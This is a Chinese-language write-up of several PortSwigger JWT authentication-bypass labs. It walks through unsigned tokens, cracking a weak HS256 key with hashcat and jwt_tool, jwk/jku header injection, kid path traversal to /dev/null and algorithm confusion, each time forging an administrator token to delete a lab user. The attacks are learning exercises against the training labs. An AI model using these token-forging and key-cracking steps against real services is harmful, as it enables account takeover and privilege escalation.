根据第4条提示信息,访问/admin页面,我需要篡改身份为:administrator
又由于此靶场是接受任意签名的,因此无需关心签名是否正确!
由于删除账户的时候,还得不停的修改数据包中的 JWT,很烦人,所以我直接修改浏览器存储的Cookie,进而一步到位。
漏洞靶场:通过有缺陷的签名验证绕过 JWT 身份验证(Lab: JWT authentication bypass via flawed signature verification)
根据提示信息,使用账号密码登录靶场:wiener:peter。根据靶场的第2条提示信息,在/my-account
页面中发现了JWT类型的Cookie。当然,也可以通过HaE插件发现。看到数据是以eyJ
开头的,得知是JWT。
首先把流量转发到重放模块,签名设为空,身份修改为administrator
修改好,来到“RAW”页面,搜索.
,从搜索结果中得知经插件“JWT Editor”生成的JWT有两个.
,因此需要手动删除JWT第二个.
之后的内容
根据靶场目标得知,要删除用户carlos。
首先篡改cookie,刷新浏览器之后,看到自己是administrator,然后就是删除用户,完成目标。
漏洞靶场:通过有缺陷的签名验证绕过 JWT 身份验证(Lab: JWT authentication bypass via weak signing key)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
登录靶场,发现“未签名令牌”的利用方式不好用了,页面要跳转到登录页面去。那就需要尝试爆破密钥了
按照靶机“解决方案”中的“第一部分”的操作,得到密钥是:secret1
.\hashcat.exe -a 0 -m 16500 eyJraWQiOiI0ZjIyYWI0Zi0yMjM0LTRhZGItOTMxNC1kN2FlOWM2ZGI2ZTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODc2NTg5Nn0.qoqNn749sftmFnsmBO3GoGOUXk4oeTRs770lbpwDEIA C:\Users\asuka\Desktop\jwt.secrets.list
python ./jwt_tool.py eyJraWQiOiI0ZjIyYWI0Zi0yMjM0LTRhZGItOTMxNC1kN2FlOWM2ZGI2ZTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODc2NTg5Nn0.qoqNn749sftmFnsmBO3GoGOUXk4oeTRs770lbpwDEIA -C -d /usr/share/SecLists-2022.2/Passwords/Common-Credentials/10k-most-common.txt
参见:https://www.youtube.com/watch?v=Wu6UR-Myiy0
按照靶机“解决方案”中的“第二部分”的操作:
按照靶机“解决方案”中的“第三部分”的操作:修改并签署 JWT
参见:https://www.youtube.com/watch?v=xTrusprPJyg
如图所示,我并没有开启插件HaE,但是HTTP历史记录中出现了蓝色高亮的内容,注释信息中提示此请求中包含JWT。
签名后的结果,与JWT中的内容相符,但是发送数据包失败了,根据响应包内容得知请求包的第19行应该是多余的,删掉之后成功证明漏洞存在
填写密钥后,可以直接篡改payload,实时生成对应的JWT。丢到bp里面替换掉之前的JWT内容就行了
首先修改payload
python ./jwt_tool.py eyJraWQiOiIxNWEyYTdiZi04NjE3LTQ2YjctODNkOS1kNTA5MjFhNzMyZjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODc4MDkzOH0.yhSQgn1LCb1D-_awijGySOeU--8rCbf2qtMvM-Vso2M -T
然后重新生成JWT,丢到bp中测试一下,漏洞验证成功
python ./jwt_tool.py eyJraWQiOiIxNWEyYTdiZi04NjE3LTQ2YjctODNkOS1kNTA5MjFhNzMyZjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2Njg3ODA5Mzh9.yhSQgn1LCb1D-_awijGySOeU--8rCbf2qtMvM-Vso2M -S hs256 -p "secret1"
来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
漏洞靶场:通过 jwk 标头注入绕过 JWT 身份验证(Lab: JWT authentication bypass via jwk header injection)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
在负载中,将sub声明的值更改为administrator。
在JSON Web Token选项卡的底部,单击Attack
,然后选择Embedded JWK
。出现提示时,选择您新生成的 RSA 密钥并单击确定。
来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
漏洞靶场:通过 jku 标头注入绕过 JWT 身份验证(Lab: JWT authentication bypass via jku header injection)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
JWT Editor Keys
选项卡,右键单击您刚刚生成的密钥条目,然后选择Copy Public Key as JWK
keys
的中括号里面,点击“store”存储起来。然后修改一下文件路径,如:/.well-known/jwks.json
,这个时候你就得到了恶意jku的路径。kid(Key ID):提供一个ID,在有多个密钥可供选择的情况下,服务器可以使用该ID来识别正确的密钥。根据密钥的格式可能还有一个匹配的kid参数。
在 JWT 的头部中,将kid参数的当前值替换为kid您上传到漏洞利用服务器的 JWK 的值
在 JWT 的头部中,添加jku参数,将其值设置为您在漏洞利用服务器上的 JWK 集的 URL
注意要在alg
后面跟一个,
在负载中,将sub声明的值更改为administrator
在选项卡底部,单击Sign,然后选择您在上一节中生成的 RSA 密钥。
确保选中Don't modify header
选项,然后单击OK。现在已使用正确的签名对修改后的令牌进行签名。
一旦发包,页面跳转到登录页面,经过多次尝试都是这样,没办法,查看了一下教程,发现他们是在别的页面做的攻击效果。
如下图,一旦登录账号,就会进入到自己的账号,cookie中就会有自己的身份,我打靶一直用的是这个浏览记录。但是这次,需要点击网页中的“My account”,通过这个浏览记录才可以打靶成功。
下面就可以顺利打靶了。修改好JWT之后,注意把请求地址中的身份篡改一下才行。
如果你把浏览器中的cookie篡改掉是没用的,一旦篡改,刷新浏览器就302跳转到登录页面。想要利用,需要通过bp。
/admin
目录,搜素发现了删除carlos账户的链接地址漏洞靶场:通过 kid 标头路径遍历绕过 JWT 身份验证(Lab: JWT authentication bypass via kid header path traversal)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
根据靶场提示信息:
k
属性值替换为 Base64 编码后的空字节 AA==
kid
参数的值改为/dev/null
,为了保证成功,这里使用多个../
:../../../../../../../dev/null
Don't modify header
选项,然后单击OK
。现在使用空字节作为密钥对修改后的令牌进行签名。来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
漏洞靶场:通过算法混淆绕过 JWT 身份验证(Lab: JWT authentication bypass via algorithm confusion)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
想要实现这种攻击的前提是必须拿到泄露的公钥。
根据靶场提示,在/jwks.json
中找到了泄露的公钥。然后登录靶场。
JWT Editor Keys
选项卡。New RSA Key
。Copy Public Key as PEM
。JWT Editor Keys
选项卡。New Symmetric Key
。在对话框中,单击生成以生成 JWK 格式的新密钥。请注意,您无需选择密钥大小,因为稍后会自动更新。alg
参数的值更改为HS256
Sign
,然后选择您在上一节中生成的对称密钥。Don't modify header
选项,然后单击OK。现在使用服务器的公钥作为密钥对修改后的令牌进行签名。来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
参考:https://www.youtube.com/watch?v=-GssKYJ5OYg
漏洞靶场:通过算法混淆绕过 JWT 身份验证,不暴露密钥(Lab: JWT authentication bypass via algorithm confusion with no exposed key)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
登录靶机,然后退出账号。再登陆一次,再退出账号。于是就得到了2个JWT:
在终端中,运行以下命令,将两个 JWT 作为参数传递。请注意,第一次运行此程序时,从 Docker Hub 拉取映像可能需要几分钟时间:docker run --rm -it portswigger/sig2n
n
,这些中的每一个在数学上都是可能的,但只有其中一个与服务器使用的值相匹配。在每种情况下,输出还提供以下内容:
经过多次尝试,发现使用下图红框中的jwt能够返回200响应码,说明它是就是我们在找的那个JWT
JWT Editor Keys
选项卡并单击New Symmetric Key
k
属性值替换为刚刚复制的 Base64 编码密钥,并保存alg
参数设置为HS256Don't modify header
选项,然后单击OK。现在使用服务器的公钥作为密钥对修改后的令牌进行签名。来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
JWT 攻击(from burpsuite)
Working with JWTs in Burp Suite(from burpsuite)
Algorithm confusion attacks(算法混淆攻击)(from burpsuite)
一文读懂JWT,JWS,JWE(from zh_coder)
九维团队-红队(突破)| 从JWT-Lab靶场学习JWT的攻击方式(from 安恒信息安全服务)
安全运营内刊—检测与防护能力—浅析JWT攻击类型(from 天融信安全服务)
渗透测试-JWT攻击(from 成都知道创宇)
学习JWT,看这篇就够了!(from 酒仙桥六号部队)
JWT攻击手册(介绍了jwt_tool的一些用法)
Hacker Tools: JWT_Tool – The JSON Web Token Toolkit(from intigriti 介绍了jwt_tool的一些用法)